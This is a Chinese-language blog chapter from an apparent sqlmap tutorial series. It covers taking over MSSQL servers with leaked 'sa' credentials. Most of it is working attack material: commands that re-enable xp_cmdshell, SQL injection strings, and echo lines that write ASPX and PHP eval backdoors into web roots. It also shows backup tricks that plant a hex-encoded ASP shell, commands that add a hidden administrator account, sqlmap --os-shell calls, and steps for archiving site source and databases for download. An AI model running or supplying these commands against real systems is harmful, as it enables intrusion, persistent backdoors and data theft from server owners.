sqlmap从入门到精通-第四章-4-4 使用sqlmap直连MSSQL获取webshell或权限

4.4 使用sqlmap直连MSSQL获取webshell或权限

在某些情况下可能不存在SQL注入漏洞,但是通过发现目标源代码泄露,备份泄露,文件包含等方法获取了数据库服务器的IP地址,数据库账户和密码,而且含有对外可以访问的端口,或者可以通过代理的方式能够访问到端口,简单点理解就是可以通过公网直连MSSQL数据库,那么这个时候就可以根据具体情况获取webshell或系统权限

4.4.1 MSSQL数据获取webshell相关命令

1. 数据库恢复xp_cmdshell存储过程、

(1) 判断xp_cmdshell是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
或者
if exists (SELECT null FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
begin
print N'当前数据库引擎存在xp_cmdshell'
end

(2) MSSQL 2000版本:
dbcc addextendedproc ("xp_cmdshell", "xplog70.dll") exec sp_addextendedproc xp_cmdshell, @dllname ='xplog70.dll'


(3) MSSQL 2005及以上版本:
xp_cmdshell是默认关闭的,因此需要手动开启,但是开启xp_cmdshell需要sa权限
依次的步骤如下:

# 允许修改高级参数
exec sp_configure 'show advanced options',1;
# 配置生效
RECONFIGURE;
# 开启xp_cmdshell
exec sp_configure 'xp_cmdshell',1;
# 配置生效
RECONFIGURE;

可以一次性操作
exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'xp_cmdshell',1;RECONFIGURE;


关闭xp_cmdshell

# 开启高级选项
exec sp_configure 'show advanced options',1;
# 配置生效
RECONFIGURE;
# 关闭xp_cmdshell
exec sp_configure 'xp_cmdshell',0;
# 配置生效
RECONFIGURE;

一次性操作
exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'xp_cmdshell',0;RECONFIGURE;

2. 手工注入写入shell
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\\WWW\\bmfx.aspx'

3. 反弹写入webshell
'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\\WWW\\bmfx.aspx'

这里的必要条件是必须知道网站的真实路径,可以通过访问网站文件出错来获取真实路径

4. SQLTOOLS工具通过账户直接连接

(1) 恢复存储过程

(2) 通过文件管理查看文件及目录

(3) 获取网站的真实路径

(4) 写入shell
'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\\WWW\\bmfx.aspx'

5. 知道sa账户和密码,直连后写入webshell或获取系统权限

sqlmap.py -d mssql://sa:sa@xxx.xxx.xxx.xxx:1433/master --os-shell

6. 执行提权命令

;exec master..xp_cmdshell 'net user bmfx bmfx /add' 或者
;exec master.dbo.xp_cmdshell 'net user bmfx bmfx /add'

;exec master..xp_cmdshell 'net localgroup administrators bmfx /add' 或者
;exec master.dbo.xp_cmdshell 'net localgroup administrators bmfx /add'

exec master..xp_cmdshell 'whoami';


这里就是通过存储过程执行添加用户和密码 ,然后将添加的用户加入到管理员组

7. 日志备份获取webshell

(1) log日志备份获取webshell

';alter database bmfxtest set RECOVERY FULL--

';use bmfxtest--

';create table cmd (a image)--

';backup log bmfxtest to disk = 'C:\dbbackup' with init--

';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)--

';backup log bmfxtest to disk = 'D:\wwwroot\bmfx.asp'--

';drop table cmd--

=====================================================================================

上述测试有点问题,大家可以根据实际情况按照上面方式测试,下面有一种我测试成功,可以备份成本地文件

# 查看要创建的临时表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
# 将数据库备份至文件中
backup database bmfxtest to disk = 'C:\tools\2233.bak';
# 创建临时表
create table test (a image);
# 写入木马
insert into test(a) values(0x3C25657865637574652872657175657374282261222929253E);
# 重新备份,木马写入文件
backup database bmfxtest to disk = 'C:\tools\22332.asp' with differential,format;

(2) 差异备份
sql注入执行sql语句

';drop table cmd--

';create table cmd (a image)--

';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)--

';execute sp_makewebtask @outputfile='D:\www\bmfx.asp', @query='select a from cmd'--

';exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE

';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)-- 这里括号里面是十六进制,可以通过Notepad++或者Burpsuite工具进行转换

执行sql语句

use bmfxtest

drop table test

create table cmd (a image)--

insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)--

execute sp_makewebtask @outputfile='C:\tools\erererbmfx.asp', @query='select a from cmd'

exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE

insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 这里括号里面是十六进制,可以通过Notepad++或者Burpsuite工具进行转换


8. 手工注入获取webshell

(1) 注入点判断

' and 1=user;--

(2) 创建临时表

';CREATE TABLE TTBMFX_TMP (tmp1 varchar(8000));--

(3) 查询文件
for /r C:\ %i in (Newslist*.aspx) do @echo %i
或者
for /r C:\ %i in (Newslist.aspx*) do @echo %i

上面就是根据某一个文件名,然后通过通配符遍历出路径,下面就是实际带入到SQL注入中操作
';insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r C:\ %i in (Newslist*.aspx) do @echo %i ';--

(4) 查看文件名称并获取真实的路径
' and 1=(select top 1 tmp1 from tt_tmp) and 'a'='a
' and 1=(select top 1 tmp1 from tt_tmp where tmp1 not in ('C:\inetpub\wwwroot\bmfx.aspx')) and 'a'='a

(5) 文件写入测试

';exec master..xp_cmdshell 'echo test > C:\\tools\\bmfx.txt';--

(6) 写入shell

';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> C:\tools\fx.aspx';--

4.4.2 MSSQL数据库获取webshell思路和方法

在实际的环境中需要根据实际情况判断,所有都是以结果为导向,通过获取数据库获取所在的服务器系统权限或者是webshell权限

1. 通过SQL查询分析器及SQL数据库客户端进行连接获取webshell及系统权限

(1) 连接数据库成功测试

(2) 看是不是存在xp_cmdshell,如果存在就恢复xp_cmdshell存储过程

(3) 执行命令

* 遍历C盘目录或者子目录及目录树结构

exec master.dbo.xp_dirtree 'C:\'

* 获取当前所有驱动器

exec master.dbo.xp_availablemedia;

* 获取子目录列表

exec master.dbo.xp_subdirs 'C:\';

* 查看文件的内容

exec master.dbo.xp_cmdshell 'type C:\wwwroot\web\web.config';

(4) 找到网站目录,通过执行命令查看网页相对应的名称和类型,获取网站的真实路径

(5) 压缩源代码及数据库
rar a -ep -p123 D:\1.rar D:\wwwroot // 压缩网站下所有数据,密码为123
rar a -ep -p123 D:\ebmfx.rar D:\database\ebmfx.bak //压缩数据库,密码为123
move D:\ebmfx.rar D:\wwwroot\bmfx.rar //将ebmfx.rar 移动到wwwroot目录下
http://www.xxx.com/bmfx.rar //通过浏览器在本地下载bmfx.rar

(6) 写入一句话后门
';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> C:\tools\fx.aspx';--

(7) webshell提权

2. 通过SQLTOOLS工具进行文件查看获取webshell

(1) 恢复存储过程

(2) 执行命令或查看磁盘文件目录及内容

(3) 后续步骤跟上面类似

3. 使用sqlmap直连MSSQL获取webshell或权限

(1) 连接测试

sqlmap.py -d mssql://sa:sa@ip:1433/master

实际测试过程如下,有点小问题,报错过程有如下操作,但是还没有解决,想想在Windows环境下,有非常好的操作工具遍历,所以sqlmap就不折腾了
sqlmap -d mssql://sa:sa@192.168.91.131:1433/master --os-shell

pip install pymssql
pip install pyodbc
apt-get install unixodbc -y

(2) 获取os-shell

sqlmap.py -d mssql://sa:sa@ip:1433/master --os-shell

(3) 在获取的shell中执行命令

4. 查看CMS相关数据库,通过登录CMS来获取webshell

(1) 通过SQL查询分析器,SQLTOOLS,sqlmap获取CMS对应数据库

(2) 查看并获取后台管理员表数据

(3) 如果是加密数据,就进行解密

(4) 寻找CMS后台地址

(5) 登录CMS后台

(6) 寻找上传位置,尝试获取webshell

(7) 也可以通过log,差异备份的方法来获取webshell

4.4.3 sqlmap直连数据库获取webshell

1. 直连数据库测试

sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master

2. 获取os-shell

sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master --os-shell

3. 如果未获取系统权限

(1) 查看磁盘文件

dir C:\

(2) 获取网站所在目录为C:\www\phpstudypro\,写入一句话后门到此目录下面

echo ^<?php @eval ($_POST['bmfx']);?^>^ >C:\www\phpstudypro\bmfx.php

echo ^<?php @eval ($_POST['bmfx']);?^>^ > C:\tools\bmfx.php

(3) 查看写入内容 type C:\www\phpstudypro\bmfx.php

(4) 获取webshell

4. 执行其他命令

sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master --dbs

4.4.4 利用漏洞搜索引擎搜索目标

1. 搜索网站备份文件

(1) 利用fofa网站搜索web.config.bak

(2) 利用shodan网站搜索web.config.bak

2. 搜索其他关键字

www.rar, wwwroot.rar, wwwroot.zip, www.zip

4.4.5 构造SQL注入后门

1. 构造SQL注入后门前提条件

通过前面的方法获取了目标站点的webshell,然后通过webshell在网站创建文件

2. ASP+IIS+MSSQL站点构造SQL注入后门

(1) 不使用数据库连接文件

(2) 使用系统自带的连接文件

 

参考:
https://www.cnblogs.com/jerrylocker/p/10938899.html
https://www.cnblogs.com/ichunqiu/p/7249474.html
https://www.cnblogs.com/ichunqiu/p/7249516.html

 


 
posted @ 2020-06-29 22:03  皇帽讲绿帽带法技巧  阅读(1739)  评论(0编辑  收藏  举报